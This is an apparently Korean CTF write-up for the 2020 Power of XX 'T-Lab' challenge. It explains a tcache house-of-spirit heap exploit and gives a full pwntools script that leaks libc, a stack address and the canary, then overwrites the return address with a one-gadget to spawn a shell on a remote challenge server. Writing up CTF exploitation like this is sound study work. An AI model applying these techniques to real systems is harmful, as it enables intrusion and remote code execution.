상세 컨텐츠

본문 제목

[2020 Power of XX] T-Lab write up (tcache house of spirit)

SYSTEM HACKING/CTF, etc

by koharin 2020. 12. 18. 21:19

본문

728x90
반응형

환경

 

 


Exploit Flow

 

1. libc leak

 

- unsorted bin에 들어갈 청크와 일반 tcache 사이즈 청크 2개 할당

- ptr = realloc(ptr, 0) 이렇게 할당할 경우, size가 0이 되어 realloc이 처리할 때 해당 ptr을 free한다. unsorted bin에 들어가는 청크를 free하면 해당 청크의 fd와 bk에 main arena 영역의 주소가 적힌다.

 

 

Check 메뉴에서 해당 청크가 할당되어 있지 않으면 데이터를 출력해주지 않으므로 0번 청크를 다시 할당해준다.

 

 

 

Check 메뉴에서 0번 청크 데이터가 출력되면, bk 부분이 출력된 main arena 영역 주소를 leak한다.

 

 

 

데이터 A를 입력해서 한 바이트가 덮인 상태라 libc base를 구할 때 이 부분을 고려해서 구해줬다.

 

 

2. create fake chunk & free fake chunk

 

- 2번의 2번 메뉴에서 stack 주소를 leak 한다.

- 2번의 1번 메뉴에서 0x10만을 입력받을 수 있어서 fake chunk의 헤더를 구성한다. p64(0) + p64(0x41)로 구성해주었다.

- free 전 데이터를 입력받은 buf의 정확한 주소를 계산하고, 입력한 메타데이터 다음 주소를 fake addr로 구한다.

 

 

구한 fake addr를 free한다.

 

 

3. allocate in fake chunk

 

인덱스 2번으로 realloc 메뉴에서 0x30사이즈로 할당하면, tcache에 등록됐던 fake chunk 주소에 할당해준다. fake addr 부분에 데이터가 들어간 것을 확인할 수 있다.

 

 

(위에 이미지는 다른 프로세스로 디버깅해서 fake addr 주소가 다르다. tcache에 fake addr가 등록되어있는 것을 확인할 수 있다.)

 

 

4. canary leak

 

이후 Check 메뉴에서 2번 인덱스를 줘서 canary leak을 한다.

 

 

0x20만큼 출력해주므로 libc leak은 불가능하다.

 

 

5. return address → one shot

 

- canary leak까지 했으니 2번 인덱스를 줘서 데이터를 수정해서 canary 위치에 릭한 canary를 넣고 return address 위치에 oneshot을 넣어 덮는다.

- 이후 5번 메뉴로 종료해주면 쉘을 딸 수 있다.

 

 


Exploit code

#!/usr/bin/python 
from pwn import *

context.log_level = 'debug'
#p = process("./challenge")
p = remote('3.35.204.82', 20517)
oneshot_off = [0x4f365, 0x4f3c2, 0x10a45c]

def Add_data(data):
    p.sendafter("> ", '2')
    p.sendafter("> ", '1')
    p.sendafter("research.\n", data)

def address():
    p.sendafter("> ", '2')
    p.sendafter("> ", '2')
    p.recvuntil("around ")

def Realloc(index, size, name):
    p.sendafter("> ", '1')
    p.sendafter("> ", str(index))
    p.sendafter("Give size info: ", str(size))
    p.sendafter("name: ", name)

def Check(index):
    p.sendafter("> ", '3')
    p.sendafter("Give index info: ", str(index))

def free(index):
    p.sendafter("> ", '2')
    p.sendafter("> ", '3')
    p.sendlineafter("Give index num: ", str(index))

def Edit(index, name):
    p.sendafter("> ", '4')
    p.sendafter("Give index info: ", str(index))
    p.sendafter("name: ", name)


### libc leak ###
Realloc(0, 0x410, 'A'*8)
Realloc(1, 0x20, 'A'*8)
Realloc(0, 0, 'A') 
Realloc(0, 0x410, 'A') # bypass check in write menu
Check(0)
leak = u64(p.recv(6).ljust(8, '\x00'))
libc_base = leak - 0x3ebc41
oneshot = libc_base + oneshot_off[0]
log.info("leak: "+hex(leak))
log.info("libc_base: "+hex(libc_base))
log.info("oneshot: "+hex(oneshot))

### free fake chunk ###
address()
addr = int(p.recv(14), 16)
fake_addr = addr+0x48
log.info("addr: "+hex(addr))
log.info("fake_addr: "+hex(fake_addr))

Add_data(p64(0) + p64(0x41))
free(fake_addr)

### alloc in fake chunk ###
Realloc(2, 0x30, 'A'*20)

### canary leak ###
Check(2)
p.recvuntil('\x7f')
canary = u64(p.recv(10)[2:])
log.info("canary: "+hex(canary))

### return address -> oneshot
Edit(2, 'A'*0x18 + p64(canary) + 'B'*8 + p64(oneshot))

p.sendafter("> ", '5')

p.interactive()

728x90
반응형

관련글 더보기